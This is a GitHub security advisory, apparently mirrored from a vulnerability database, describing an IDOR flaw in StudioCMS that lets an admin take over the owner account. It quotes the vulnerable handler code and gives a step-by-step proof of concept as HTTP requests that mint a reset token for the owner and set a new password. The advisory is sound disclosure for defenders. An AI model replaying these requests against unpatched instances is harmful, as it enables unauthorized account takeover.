GHSA-H7VR-CG25-JF8C

Vulnerability from github – Published: 2026-03-12 14:49 – Updated: 2026-03-12 14:49
VLAI?
Summary
StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation
Details

Summary

The POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.

Details

Vulnerable Code

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts Version: studiocms@0.3.0

const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]
if (!isAuthorized) {
    return apiResponseLogger(403, 'Unauthorized');
}

const { userId } = yield* readAPIContextJson<{ userId: string }>(ctx);            // [2]

if (!userId) {
    return apiResponseLogger(400, 'Invalid form data, userId is required');
}

// [3] userId is passed directly — no check against caller's identity
// [4] No check whether the target user outranks the caller
const token = yield* sdk.resetTokenBucket.new(userId);                            // [5]

Analysis

Unlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing: 1. No caller identity validation [2][3]: The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's. 2. No role hierarchy enforcement [4]: The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins. 3. Reset token returned in response [5]: The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.

The core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.

PoC

Environment User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin

Step 1 — Verify Attacker's Session (Admin) Confirm the attacker is authenticated as admin (user dummy03):

POST /studiocms_api/dashboard/verify-session HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"originPathname":"http://127.0.0.1:4321/dashboard"}

Response:

{
  "isLoggedIn": true,
  "user": {
    "id": "eacee42e-ae7e-4e9e-945b-68e26696ece4",
    "name": "dummy03",
    "username": "dummy03"
  },
  "permissionLevel": "admin"
}

Step 2 — Generate Password Reset Token for the Owner The admin sends a request to create a reset link targeting the owner's UUID:

POST /studiocms_api/dashboard/create-reset-link HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"userId": "2450bf33-0135-4142-80be-9854f9a5e9f1"}

Response:

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userId": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>"
}

The server generated a valid password reset JWT for the owner account and returned it to the admin caller.

Step 3 — Reset the Owner's Password Using all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:

POST /studiocms_api/dashboard/reset-password HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userid": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>",
  "password": "pwned1234@@",
  "confirm_password": "pwned1234@@"
}

Response:

{"message": "User password updated successfully"}

The owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.

Impact

  • Owner Account Takeover: Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:49:38Z",
    "nvd_published_at": "2026-03-11T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.\n\n## Details\n#### Vulnerable Code\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts\n**Version:** studiocms@0.3.0\n```\nconst isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]\nif (!isAuthorized) {\n    return apiResponseLogger(403, \u0027Unauthorized\u0027);\n}\n\nconst { userId } = yield* readAPIContextJson\u003c{ userId: string }\u003e(ctx);            // [2]\n\nif (!userId) {\n    return apiResponseLogger(400, \u0027Invalid form data, userId is required\u0027);\n}\n\n// [3] userId is passed directly \u2014 no check against caller\u0027s identity\n// [4] No check whether the target user outranks the caller\nconst token = yield* sdk.resetTokenBucket.new(userId);                            // [5]\n```\n#### Analysis\nUnlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:\n1. **No caller identity validation [2][3]:** The userId from the JSON payload is never compared against the authenticated caller\u0027s session identity. An admin can specify any user\u0027s UUID, including the owner\u0027s.\n2. **No role hierarchy enforcement [4]:** The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.\n3. **Reset token returned in response [5]:** The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.\n\nThe core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.\n\n## PoC\n**Environment**\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n\n**Step 1 \u2014 Verify Attacker\u0027s Session (Admin)**\nConfirm the attacker is authenticated as admin (user dummy03):\n```\nPOST /studiocms_api/dashboard/verify-session HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"originPathname\":\"http://127.0.0.1:4321/dashboard\"}\n```\nResponse:\n```\n{\n  \"isLoggedIn\": true,\n  \"user\": {\n    \"id\": \"eacee42e-ae7e-4e9e-945b-68e26696ece4\",\n    \"name\": \"dummy03\",\n    \"username\": \"dummy03\"\n  },\n  \"permissionLevel\": \"admin\"\n}\n```\n\n**Step 2 \u2014 Generate Password Reset Token for the Owner**\nThe admin sends a request to create a reset link targeting the owner\u0027s UUID:\n```\nPOST /studiocms_api/dashboard/create-reset-link HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\"}\n```\nResponse:\n```\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\"\n}\n```\nThe server generated a valid password reset JWT for the owner account and returned it to the admin caller.\n\n**Step 3 \u2014 Reset the Owner\u0027s Password**\nUsing all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:\n```\nPOST /studiocms_api/dashboard/reset-password HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userid\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\",\n  \"password\": \"pwned1234@@\",\n  \"confirm_password\": \"pwned1234@@\"\n}\n```\nResponse:\n```\n{\"message\": \"User password updated successfully\"}\n```\nThe owner\u0027s password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.\n\n## Impact\n- **Owner Account Takeover:** Any admin can change the owner\u0027s password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.",
  "id": "GHSA-h7vr-cg25-jf8c",
  "modified": "2026-03-12T14:49:38Z",
  "published": "2026-03-12T14:49:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32103"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…